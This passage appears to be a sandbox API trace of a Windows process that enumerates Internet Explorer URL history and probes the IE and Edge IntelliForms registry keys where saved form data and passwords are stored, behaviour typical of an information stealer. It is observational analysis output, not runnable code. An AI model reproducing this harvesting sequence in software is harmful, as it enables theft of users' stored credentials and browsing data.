lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.647] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.647] CoTaskMemFree (pv=0x9407050) [0053.647] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.647] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/kzzQT6YV.swf", lpSrch="?") returned 0x0 [0053.647] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/kzzQT6YV.swf") returned 97 [0053.647] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.647] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.647] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.647] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.647] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.648] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.648] CoTaskMemFree (pv=0x768d88) [0053.648] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.648] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/05Y%20fIJosdW2xmY-cgo.pptx", lpSrch="?") returned 0x0 [0053.648] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/05Y%20fIJosdW2xmY-cgo.pptx") returned 68 [0053.648] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.648] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.648] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.649] CoTaskMemFree (pv=0x76adf8) [0053.649] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.649] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/HMM2aRES.xls", lpSrch="?") returned 0x0 [0053.649] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/HMM2aRES.xls") returned 118 [0053.649] CoTaskMemFree (pv=0x76ef08) [0053.649] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.649] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/rrDdBF.gif", lpSrch="?") returned 0x0 [0053.649] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/rrDdBF.gif") returned 60 [0053.649] CoTaskMemFree (pv=0x7371b8) [0053.649] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.649] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/Vsvz5VyPrvlVO89C.pptx", lpSrch="?") returned 0x0 [0053.649] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/Vsvz5VyPrvlVO89C.pptx") returned 65 [0053.649] CoTaskMemFree (pv=0x760e10) [0053.649] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.649] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/DV92FBOOIsuK7A3svK.odt", lpSrch="?") returned 0x0 [0053.649] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/DV92FBOOIsuK7A3svK.odt") returned 64 [0053.650] CoTaskMemFree (pv=0x760fc0) [0053.650] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.650] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/iCg-GgfRe.docx", lpSrch="?") returned 0x0 [0053.650] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/iCg-GgfRe.docx") returned 58 [0053.650] CoTaskMemFree (pv=0x9405268) [0053.650] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.650] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/zX3BNfodO-3TxT35U.png", lpSrch="?") returned 0x0 [0053.650] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/zX3BNfodO-3TxT35U.png") returned 64 [0053.650] CoTaskMemFree (pv=0x761170) [0053.650] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.650] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/f8u_.png", lpSrch="?") returned 0x0 [0053.650] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/f8u_.png") returned 63 [0053.650] CoTaskMemFree (pv=0x94077e0) [0053.650] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.650] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/rtlqaalkS0.rtf", lpSrch="?") returned 0x0 [0053.651] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/rtlqaalkS0.rtf") returned 64 [0053.651] CoTaskMemFree (pv=0x761320) [0053.651] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.651] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/uKHJPqLTlSz-.bmp", lpSrch="?") returned 0x0 [0053.651] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/uKHJPqLTlSz-.bmp") returned 71 [0053.651] CoTaskMemFree (pv=0x76afc0) [0053.651] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.651] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/xbHDwVMyRHvZtAkZ.xlsx", lpSrch="?") returned 0x0 [0053.651] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/xbHDwVMyRHvZtAkZ.xlsx") returned 71 [0053.651] CoTaskMemFree (pv=0x76b188) [0053.651] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.651] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/bT2EWIE0.odp", lpSrch="?") returned 0x0 [0053.651] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/bT2EWIE0.odp") returned 118 [0053.651] CoTaskMemFree (pv=0x76f1f0) [0053.651] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.651] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7afW-7SI7.swf", lpSrch="?") returned 0x0 [0053.652] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7afW-7SI7.swf") returned 55 [0053.652] CoTaskMemFree (pv=0x9409758) [0053.652] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.652] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/J1r%201JZiss0iW_Pw4UQn.swf", lpSrch="?") returned 0x0 [0053.652] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/J1r%201JZiss0iW_Pw4UQn.swf") returned 99 [0053.652] CoTaskMemFree (pv=0x768ff8) [0053.652] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.652] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/ZLRTWEp0IUL8.bmp", lpSrch="?") returned 0x0 [0053.652] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/ZLRTWEp0IUL8.bmp") returned 92 [0053.652] CoTaskMemFree (pv=0x74b610) [0053.652] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.652] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/5mZuS5LT8jNy.ppt", lpSrch="?") returned 0x0 [0053.652] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/5mZuS5LT8jNy.ppt") returned 66 [0053.652] CoTaskMemFree (pv=0x761710) [0053.652] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.653] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Qi2xmt0Rq.ots", lpSrch="?") returned 0x0 [0053.653] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Qi2xmt0Rq.ots") returned 82 [0053.653] CoTaskMemFree (pv=0x755480) [0053.653] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.653] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/-CKEO2ZiLFuBF_Rx.jpg", lpSrch="?") returned 0x0 [0053.653] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/-CKEO2ZiLFuBF_Rx.jpg") returned 96 [0053.653] CoTaskMemFree (pv=0x769268) [0053.653] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.653] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/MvSYoI.pps", lpSrch="?") returned 0x0 [0053.653] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/MvSYoI.pps") returned 96 [0053.653] CoTaskMemFree (pv=0x7694d8) [0053.653] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.653] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/cl984rprW7Pwzi3VVK.swf", lpSrch="?") returned 0x0 [0053.653] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/cl984rprW7Pwzi3VVK.swf") returned 64 [0053.653] CoTaskMemFree (pv=0x7618c0) [0053.654] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.654] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/LxT9XSH.flv", lpSrch="?") returned 0x0 [0053.654] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/LxT9XSH.flv") returned 96 [0053.654] CoTaskMemFree (pv=0x769748) [0053.654] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.654] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/bajL7.png", lpSrch="?") returned 0x0 [0053.654] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/bajL7.png") returned 85 [0053.654] CoTaskMemFree (pv=0x751510) [0053.654] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.654] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/HhxENkXSiAjd.bmp", lpSrch="?") returned 0x0 [0053.654] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/HhxENkXSiAjd.bmp") returned 66 [0053.654] CoTaskMemFree (pv=0x7618c0) [0053.655] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.655] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/WZw3HiKTAy-v2Pn.jpg", lpSrch="?") returned 0x0 [0053.655] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/WZw3HiKTAy-v2Pn.jpg") returned 69 [0053.655] CoTaskMemFree (pv=0x76b350) [0053.655] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.655] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/9NJtVDi81Z.mkv", lpSrch="?") returned 0x0 [0053.655] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/9NJtVDi81Z.mkv") returned 55 [0053.655] CoTaskMemFree (pv=0x94098c0) [0053.655] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.655] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/kJ-2_hTsFp6B8BIg.docx", lpSrch="?") returned 0x0 [0053.655] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/kJ-2_hTsFp6B8BIg.docx") returned 65 [0053.655] CoTaskMemFree (pv=0x75fb80) [0053.655] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.655] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/_Cpez_Qb4O9v%20Aa.xlsx", lpSrch="?") returned 0x0 [0053.655] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/_Cpez_Qb4O9v%20Aa.xlsx") returned 66 [0053.655] CoTaskMemFree (pv=0x940a758) [0053.656] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.656] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/aeB3H1UvGkVj.mkv", lpSrch="?") returned 0x0 [0053.656] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/aeB3H1UvGkVj.mkv") returned 66 [0053.656] CoTaskMemFree (pv=0x75fe50) [0053.656] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.656] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/1I1sy%20gtfNb/KI1HtdTOC-p.flv", lpSrch="?") returned 0x0 [0053.656] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/1I1sy%20gtfNb/KI1HtdTOC-p.flv") returned 111 [0053.656] CoTaskMemFree (pv=0x75f860) [0053.656] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.656] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7U3kuCCTRZq.gif", lpSrch="?") returned 0x0 [0053.656] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7U3kuCCTRZq.gif") returned 57 [0053.656] CoTaskMemFree (pv=0x748690) [0053.656] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.657] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/bE7FJB8gowYzGF.jpg", lpSrch="?") returned 0x0 [0053.657] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/bE7FJB8gowYzGF.jpg") returned 73 [0053.657] CoTaskMemFree (pv=0x763dd8) [0053.657] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.657] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/fx6e4u.pdf", lpSrch="?") returned 0x0 [0053.657] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/fx6e4u.pdf") returned 74 [0053.657] CoTaskMemFree (pv=0x763fb8) [0053.657] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.657] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/129DShJr6JeMp6.docx", lpSrch="?") returned 0x0 [0053.657] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/129DShJr6JeMp6.docx") returned 63 [0053.657] CoTaskMemFree (pv=0x735fa8) [0053.657] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.657] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/QX8xc.rtf", lpSrch="?") returned 0x0 [0053.657] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/QX8xc.rtf") returned 73 [0053.657] CoTaskMemFree (pv=0x764198) [0053.657] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.658] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/2%20cCXwBOWq.bmp", lpSrch="?") returned 0x0 [0053.658] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/2%20cCXwBOWq.bmp") returned 59 [0053.658] CoTaskMemFree (pv=0x747f90) [0053.658] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.658] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/iyfDL.flv", lpSrch="?") returned 0x0 [0053.658] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/iyfDL.flv") returned 91 [0053.658] CoTaskMemFree (pv=0x756d60) [0053.658] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.658] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/RJVDCftzHWCi4UZwxN.xlsx", lpSrch="?") returned 0x0 [0053.658] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/RJVDCftzHWCi4UZwxN.xlsx") returned 87 [0053.658] CoTaskMemFree (pv=0x751738) [0053.658] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.658] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/yETt7HkjMeZ_p.ods", lpSrch="?") returned 0x0 [0053.658] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/yETt7HkjMeZ_p.ods") returned 123 [0053.658] CoTaskMemFree (pv=0x761db8) [0053.658] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.659] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/CbyuVmzxEB.gif", lpSrch="?") returned 0x0 [0053.659] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/CbyuVmzxEB.gif") returned 69 [0053.659] CoTaskMemFree (pv=0x76b518) [0053.659] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.659] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/ZNgE87vnK3qJ9eY74j.pptx", lpSrch="?") returned 0x0 [0053.659] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/ZNgE87vnK3qJ9eY74j.pptx") returned 87 [0053.659] CoTaskMemFree (pv=0x751738) [0053.659] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.659] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/pI8%20cxP0Q.docx", lpSrch="?") returned 0x0 [0053.659] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/pI8%20cxP0Q.docx") returned 60 [0053.659] CoTaskMemFree (pv=0x735e10) [0053.659] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.659] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/tX1QbB.bmp", lpSrch="?") returned 0x0 [0053.659] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/tX1QbB.bmp") returned 62 [0053.659] CoTaskMemFree (pv=0x7357b0) [0053.659] 